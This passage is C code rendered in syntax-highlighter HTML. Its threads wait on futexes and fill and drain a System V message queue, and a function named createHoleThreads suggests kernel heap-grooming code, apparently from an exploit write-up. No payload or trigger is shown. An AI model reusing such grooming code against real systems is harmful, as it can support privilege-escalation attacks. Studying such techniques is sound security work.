class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-313\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-314\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-315\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">setAffinity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-316\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">sendOrRecv<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEND<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-317\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-318\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-319\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-320\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-321\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-322\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-323\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-324\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-325\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">msgsnd<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mtext<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-326\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;msgsnd&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-327\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-328\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-329\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-330\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-331\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-332\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_sub<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-333\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-334\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-335\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-336\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-337\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-338\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-339\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-340\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-341\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">tSendCount<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-342\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-343\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-344\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-345\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-346\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">usleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-347\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">continue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-348\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-349\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">msgrcv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mtext<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x42<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-350\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;msgrcv error !!!!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-351\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-352\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-353\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_sub<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-354\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">tSendCount<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-355\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-356\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ipcThreadStop<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-357\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_sub<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-358\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-359\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-360\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-361\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-362\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">createHoleThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-363\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-364\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_t <\/span><span class=\"crayon-v\">tid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-365\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_t <\/span><span class=\"crayon-v\">thAttr<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-366\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-367\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-368\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-369\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_create<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">tid<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">holeThread<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-370\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span 